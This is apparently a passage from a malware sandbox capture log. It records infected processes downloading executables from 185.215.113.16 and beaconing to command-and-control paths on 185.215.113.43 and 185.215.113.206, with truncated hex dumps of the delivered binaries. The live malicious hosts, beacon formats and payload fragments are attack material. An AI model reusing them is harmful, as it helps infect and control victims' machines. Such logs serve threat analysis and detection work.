Oct 26, 2024 05:55:46.091301918 CEST	212	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,
Oct 26, 2024 05:55:46.096745968 CEST	1236	IN	Data Raw: 00 50 50 68 00 00 cf 00 b8 c8 c9 49 00 50 50 57 ff d6 57 ff 35 58 13 4d 00 a3 8c 13 4d 00 6a 01 50 57 57 57 57 68 c4 08 b0 50 57 68 a0 c9 49 00 57 ff d6 8b 35 28 c7 49 00 57 ff 35 8c 13 4d 00 a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e Data Ascii: PPhIPPWW5XMMjPWWWWhPWhIW5(IW5MMW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50027	185.215.113.16	80	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:47.718313932 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 05:55:48.663928986 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:48 GMT Content-Type: application/octet-stream Content-Length: 1887744 Last-Modified: Sat, 26 Oct 2024 03:45:05 GMT Connection: keep-alive ETag: "671c65c1-1cce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J@WkJJ @.rsrc@.idata @ 0*@ujtayirb0@rmnowbouJ@.taggant0J"@
Oct 26, 2024 05:55:48.664057016 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:48.664086103 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:48.664119005 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:48.664153099 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:48.664216995 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:48.664252996 CEST	1236	IN	Data Raw: 1a 8b f7 38 d8 df 04 1d 1f d3 c6 d2 a2 bb f6 9c 37 ff 5a af 67 80 18 bc e0 9b b2 ae 82 2f 9f ae 33 79 e8 9b e0 fb de 1f 55 cf f2 f4 ab 6c 0e c2 e0 3a 3e 9e df 28 e9 ff 65 8b 18 89 e1 1f 04 b5 9e 6b 18 fd f0 9e 3c a1 31 ad 5d ce 23 77 fa 3b f2 1b Data Ascii: 87Zg/3yUl:>(ek<1]#w;vo^%E`k'}o([Xz*p'w=AkW[CY\o?\)/l~wj<lE'^OSJZ_[H%`lW
Oct 26, 2024 05:55:48.664343119 CEST	236	IN	Data Raw: 90 50 e5 d4 90 d6 bb dd 1a 8b cd af 1c 53 36 df df 9b 40 de 4f 37 f1 39 4b 78 8f d7 dd ab 48 99 db ec ea ac bb 7e e5 51 59 90 d2 79 25 a6 ca 1d 03 c7 c7 80 ab 13 25 91 95 43 cf 4d 9a 5a 2d 4d 97 51 13 21 d5 3b 14 dd 35 0a ad 55 83 81 eb 72 78 98 Data Ascii: PS6@O79KxH~QYy%%CMZ-MQ!;5UrxET/\|cO,[<<Acm-{d00/KhMaOEP)yHb!LJg'2`vX\Q& X'K~,hi{[ejbg1k~3l,
Oct 26, 2024 05:55:48.664371967 CEST	1236	IN	Data Raw: 30 00 3f b3 e7 d4 95 9b 33 ec ef 8f 1f 72 41 05 62 b1 fe f0 72 5d 9a 9f d7 12 5b 05 16 67 be f1 60 da 16 37 70 4f 63 da c3 33 09 1f 8b b3 5c 15 16 ae d1 4a 24 5b ec 8f a4 bb d2 79 13 5e 3e bf c4 93 a0 80 12 4d 16 39 7c d0 de 48 d5 c7 6e b1 ea ce Data Ascii: 0?3rAbr][g`7pOc3\J$[y^>M9\|HnR}E`[MS%c[0/O\|rVI%*dhyxUP(t!9S\k\rS.!&tJiNQfX>zk_qI,J.e
Oct 26, 2024 05:55:48.664407969 CEST	1236	IN	Data Raw: ba d0 6e a3 48 a5 7e bb ba 93 c6 81 45 7a e1 61 d4 4f bd 99 bf 94 ce 6a eb 09 69 95 d2 6c 4c ac 5e 51 02 a1 03 b5 d8 29 e4 a3 6e 7a 9f 11 a3 f1 0c b3 b7 a1 3c 9f 48 0a f9 7f 16 be 2d 4a 6e d3 09 eb c8 4c 2d d9 ad 5d 35 8c 97 ff 7f ff 48 c0 9b 5f Data Ascii: nH~EzaOjilL^Q)nz<H-JnL-]5H_g}}+PS)&}Ht%VLJFHIHG3q$aDi+[y&?XP#yjR(3[x.Uoy7ECgJS&[j}}]w]sgLTNca
Oct 26, 2024 05:55:48.670831919 CEST	1236	IN	Data Raw: a2 27 de 8f d7 a1 8a 57 93 c1 ce 7d c0 0c d0 00 d2 be d4 94 0a 3c 4d 06 51 c4 76 c9 0e 5a 5d 21 70 78 97 5e 8c b1 e0 88 88 5d f0 b7 df a9 e7 95 db d6 fa 77 91 3b d5 cf b6 ce 40 12 a2 bf 15 6e b1 4d 32 8a e6 6c 61 cf 68 1b 3c 1a be 91 d6 aa 1d d6 Data Ascii: 'W}<MQvZ]!px^]w;@nM2lah<+O!8`Kf5%[.NO4R3!5'7;t:{rM99M=&H<x3q\Sq\mR@4"p8SVb=/;33q<
Oct 26, 2024 05:56:00.720776081 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 05:56:01.014420986 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:00 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Sat, 26 Oct 2024 03:44:58 GMT Connection: keep-alive ETag: "671c65ba-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 20 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 fa 70 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL9$g$ i@Pip@P%d% %(@.rsrc %8@.idata %8@ )%:@rhebxyzrpO<@gzayextqi@.taggant0 i"@
Oct 26, 2024 05:56:12.347965956 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 05:56:12.641302109 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:12 GMT Content-Type: application/octet-stream Content-Length: 2831360 Last-Modified: Sat, 26 Oct 2024 03:26:14 GMT Connection: keep-alive ETag: "671c6156-2b3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 41 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +A}+`Ui` @ @.rsrc`2@.idata 8@rlkngmqk**:@jjmnbtpn ++@.taggant@+"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50038	185.215.113.43	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:53.748720884 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001607001&unit=246122658369
Oct 26, 2024 05:55:54.663122892 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50039	185.215.113.16	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:54.715351105 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 26, 2024 05:55:55.636950970 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:55 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 26, 2024 05:55:55.637022972 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 26, 2024 05:55:55.637062073 CEST	424	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 26, 2024 05:55:55.637115002 CEST	1236	IN	Data Raw: 8b 4d fc 8b 55 08 8b 42 78 89 41 78 8b 4d 08 83 c1 7c 51 8b 4d fc 83 c1 7c e8 3d 91 01 00 8b 45 fc 8b e5 5d c2 04 00 cc cc cc cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 1d 91 01 00 8b 4d 08 83 c1 0c 51 8b 4d fc 83 c1 0c e8 0b 91 01 00 8b 55 Data Ascii: MUBxAxM\|QM\|=E]UQMEPMMQMURME$PM$E]UthBMZhBMMEttWjhQvP\
Oct 26, 2024 05:55:55.637151003 CEST	1236	IN	Data Raw: e3 8c 01 00 8d 8d 48 fd ff ff e8 d8 8c 01 00 8d 8d 54 fd ff ff e8 cd 8c 01 00 8d 8d 60 fd ff ff e8 c2 8c 01 00 83 ec 0c 8b cc 8d 95 94 fe ff ff 52 e8 51 8c 01 00 e8 3c 72 01 00 83 c4 0c 85 c0 0f 84 ab 02 00 00 68 22 0e 42 00 8d 8d 80 fe ff ff e8 Data Ascii: HT`RQ<rh"BhWBPMQRhVBPdQ RgP) }0t0PQ
Oct 26, 2024 05:55:55.637232065 CEST	1236	IN	Data Raw: cc cc cc 55 8b ec 8b 45 08 33 d2 b9 00 10 00 00 f7 f1 85 d2 74 0c 8b 55 08 81 c2 00 10 00 00 89 55 08 8b 45 08 c1 e8 0c 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 8b 45 08 89 45 f8 8b 4d 08 8b 51 04 2b 55 0c c1 e2 0c 03 55 f8 89 55 f8 8b Data Ascii: UE3tUUE]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQEMHUEE]Ud;EuMdUBMAUBEMQPExtM
Oct 26, 2024 05:55:55.637290001 CEST	1236	IN	Data Raw: 00 68 10 1e 42 00 e8 f4 20 00 00 83 c4 0c a3 bc a0 64 00 6a 0d 68 28 1e 42 00 68 38 1e 42 00 e8 db 20 00 00 83 c4 0c a3 2c a1 64 00 6a 14 68 48 1e 42 00 68 60 1e 42 00 e8 c2 20 00 00 83 c4 0c a3 b0 a2 64 00 6a 0c 68 78 1e 42 00 68 88 1e 42 00 e8 Data Ascii: hB djh(Bh8B ,djhHBh`B djhxBhB PdjhBhB \|djhBhBw djhBhB^ djhBhBE (djhBhB, djhBh$B $d
Oct 26, 2024 05:55:55.637341022 CEST	1236	IN	Data Raw: 23 42 00 68 18 23 42 00 e8 1e 1c 00 00 83 c4 0c a3 e4 a3 64 00 6a 18 68 28 23 42 00 68 44 23 42 00 e8 05 1c 00 00 83 c4 0c a3 fc a4 64 00 6a 12 68 60 23 42 00 68 74 23 42 00 e8 ec 1b 00 00 83 c4 0c a3 f8 a4 64 00 6a 0b 68 88 23 42 00 68 94 23 42 Data Ascii: #Bh#Bdjh(#BhD#Bdjh`#Bht#Bdjh#Bh#Bdjh#Bh#Bdjh#Bh#B<djh#Bh#BLdjh#Bh$Bodjh $Bh,$BVdjh8$BhH$B=
Oct 26, 2024 05:55:55.637379885 CEST	1236	IN	Data Raw: 00 00 83 c4 0c a3 b4 a1 64 00 6a 0e 68 a0 29 42 00 68 b0 29 42 00 e8 3c 17 00 00 83 c4 0c a3 e0 a2 64 00 6a 0c 68 c0 29 42 00 68 d0 29 42 00 e8 23 17 00 00 83 c4 0c a3 e8 a5 64 00 6a 10 68 e0 29 42 00 68 f4 29 42 00 e8 0a 17 00 00 83 c4 0c a3 2c Data Ascii: djh)Bh)B<djh)Bh)B#djh)Bh)B,djhBh$Bddjh@Bh`B`djhBhBdjhBhBdjhBhBdjh*Bh+BtTdjh(+Bh
Oct 26, 2024 05:55:55.637430906 CEST	1236	IN	Data Raw: 0d 68 78 30 42 00 68 88 30 42 00 e8 73 12 00 00 83 c4 0c a3 54 a5 64 00 6a 14 68 98 30 42 00 68 b0 30 42 00 e8 5a 12 00 00 83 c4 0c a3 98 a4 64 00 6a 13 68 c8 30 42 00 68 dc 30 42 00 e8 41 12 00 00 83 c4 0c a3 9c a5 64 00 6a 0d 68 f0 30 42 00 68 Data Ascii: hx0Bh0BsTdjh0Bh0BZdjh0Bh0BAdjh0Bh1B(djh1Bh1Bdjh 1Bh81BxdjhP1Bh\1Bdjhh1Bhx1B djh1Bh1Bdjh1Bh1B
Oct 26, 2024 05:55:55.642963886 CEST	1236	IN	Data Raw: e8 aa 0d 00 00 83 c4 0c a3 68 a2 64 00 6a 0e 68 98 38 42 00 68 a8 38 42 00 e8 91 0d 00 00 83 c4 0c a3 28 a4 64 00 6a 12 68 b8 38 42 00 68 cc 38 42 00 e8 78 0d 00 00 83 c4 0c a3 a8 a0 64 00 6a 0d 68 e0 38 42 00 68 f0 38 42 00 e8 5f 0d 00 00 83 c4 Data Ascii: hdjh8Bh8B(djh8Bh8Bxdjh8Bh8B_8djh9Bh9BFdjh9Bh,9B-djhH9Bh`9Bdjhx9Bh9Bdjh9Bh9Bdjh9Bh9B@djh9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50049	185.215.113.43	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:59.701212883 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001608001&unit=246122658369
Oct 26, 2024 05:56:00.632455111 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50050	185.215.113.206	80	3916	C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:00.352736950 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 05:56:01.272291899 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:56:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:56:01.590255976 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 38 46 30 38 41 31 36 43 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 2d 2d 0d 0a Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="hwid"AE8F08A16C9A291931458------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="build"puma------BAFBFCBGHDGCFHJJECAF--
Oct 26, 2024 05:56:01.879723072 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:56:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50055	185.215.113.16	80	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:01.999221087 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 05:56:02.909589052 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:02 GMT Content-Type: application/octet-stream Content-Length: 1887744 Last-Modified: Sat, 26 Oct 2024 03:45:05 GMT Connection: keep-alive ETag: "671c65c1-1cce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J@WkJJ @.rsrc@.idata @ 0*@ujtayirb0@rmnowbouJ@.taggant0J"@
